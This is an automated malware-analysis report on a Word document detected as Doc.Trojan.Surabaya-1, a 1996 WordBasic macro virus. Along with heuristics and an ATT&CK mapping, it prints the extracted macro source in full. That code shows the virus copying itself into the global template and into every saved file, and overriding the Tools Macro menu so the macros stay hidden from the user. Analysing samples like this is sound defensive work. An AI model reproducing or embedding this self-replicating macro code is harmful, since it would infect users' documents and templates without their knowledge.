MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains legacy WordBasic macro virus markers and a critical ClamAV detection for 'Doc.Trojan.Surabaya-1'. The AutoOpen macro attempts to copy other macros within the document, including 'AutoOpen' itself, to the saved file. This suggests an attempt to ensure macro execution upon opening the saved document, though the exact payload or execution mechanism is not clear from the provided script excerpt.
Heuristics 4
-
ClamAV: Doc.Trojan.Surabaya-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Surabaya-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11500 bytes |
SHA-256: 72c150e9c83f5752addbdef9dbddd92af6d585908dc73470a1d37e50a6cc4e39 |
|||
|
Detection
ClamAV:
Doc.Trojan.Surabaya-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "FileTemplates"
Public Sub MAIN()
On Error GoTo -1: On Error GoTo wis
WordBasic.MsgBox "Sorry..."
wis:
End Sub
Attribute VB_Name = "ToolsMacro"
Public Sub MAIN()
On Error GoTo -1: On Error GoTo wis
WordBasic.MsgBox "Sorry..."
wis:
End Sub
Attribute VB_Name = "FileSaveAs"
Public Sub MAIN()
Dim sme$
Dim yesmacro$
Dim ExecuteOnly
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo susah
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sme$ = WordBasic.[FileName$]()
yesmacro$ = sme$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileSaveAs", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":Autoexec"
WordBasic.MacroCopy "Global:Autoexec", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":ToolsMacro"
WordBasic.MacroCopy "Global:ToolsMacro", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":FileTemplates"
WordBasic.MacroCopy "Global:FileTemplates", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":Plong"
WordBasic.MacroCopy "Global:Plong", yesmacro$, ExecuteOnly
WordBasic.FileSaveAs dlg
GoTo selesai
susah:
If Err.Number <> 102 Then
WordBasic.FileSaveAs dlg
End If
selesai:
End Sub
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim HitungM
Dim i
Dim Yesinstall
Dim mom$
Dim sMacro$
Dim ExecuteOnly
On Error GoTo -1: On Error GoTo Abort
HitungM = WordBasic.CountMacros(0, 0)
For i = 1 To HitungM
If WordBasic.[MacroName$](i, 0, 0) = "Plong" Then
Yesinstall = -1
End If
Next i
If Not Yesinstall Then
WordBasic.SetProfileString "Author", "Name", "TeBeYe`93 The ICE-Man"
mom$ = WordBasic.[FileName$]()
sMacro$ = mom$ + ":FileSaveAs"
WordBasic.MacroCopy sMacro$, "Global:FileSaveAs", ExecuteOnly
sMacro$ = mom$ + ":AutoOpen"
WordBasic.MacroCopy sMacro$, "Global:AutoOpen", ExecuteOnly
sMacro$ = mom$ + ":Autoexec"
WordBasic.MacroCopy sMacro$, "Global:Autoexec", ExecuteOnly
sMacro$ = mom$ + ":ToolsMacro"
WordBasic.MacroCopy sMacro$, "Global:ToolsMacro", ExecuteOnly
sMacro$ = mom$ + ":FileTemplates"
WordBasic.MacroCopy sMacro$, "Global:FileTemplates", ExecuteOnly
sMacro$ = mom$ + ":Plong"
WordBasic.MacroCopy sMacro$, "Global:Plong", ExecuteOnly
End If
Abort:
End Sub
Attribute VB_Name = "Autoexec"
Dim hitung
Public Sub MAIN()
Dim pesan$
Dim i
Dim j
Dim k
hitung = 0
On Error GoTo -1: On Error GoTo no
pesan$ = " Lontong Micro Device (c) 1993 By ICE-Man "
For i = 1 To Len(pesan$)
WordBasic.MsgBox WordBasic.[Right$](pesan$, i), -1
For j = 1 To 50
Next j
Next i
For j = 1 To 200
Next j
For k = 1 To Len(pesan$)
WordBasic.MsgBox WordBasic.[Right$](pesan$, (Len(pesan$) - k)), -1
For j = 1 To 50
Next j
Next k
no:
End Sub
Attribute VB_Name = "Plong"
Public Sub MAIN()
Rem This Macro was created by : The ICE - "Yes" Man
Rem
Rem Allah Swt always be with All of You ....
Rem
Rem Surabaya, 09-09-1996
End Sub
' Processing file: /opt/analyzer/scan_staging/d8ac21ddcc554e9680253ff25f087cca.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/FileTemplates - 972 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' OnError <crash>
' BoS 0x0000
' OnError wis
' Line #3:
' LitStr 0x0008 "Sorry..."
' Ld WordBasic
' ArgsMemCall MsgBox 0x0001
' Line #4:
' Label wis
' Line #5:
' EndSub
' Macros/VBA/ToolsMacro - 969 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' OnErr
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.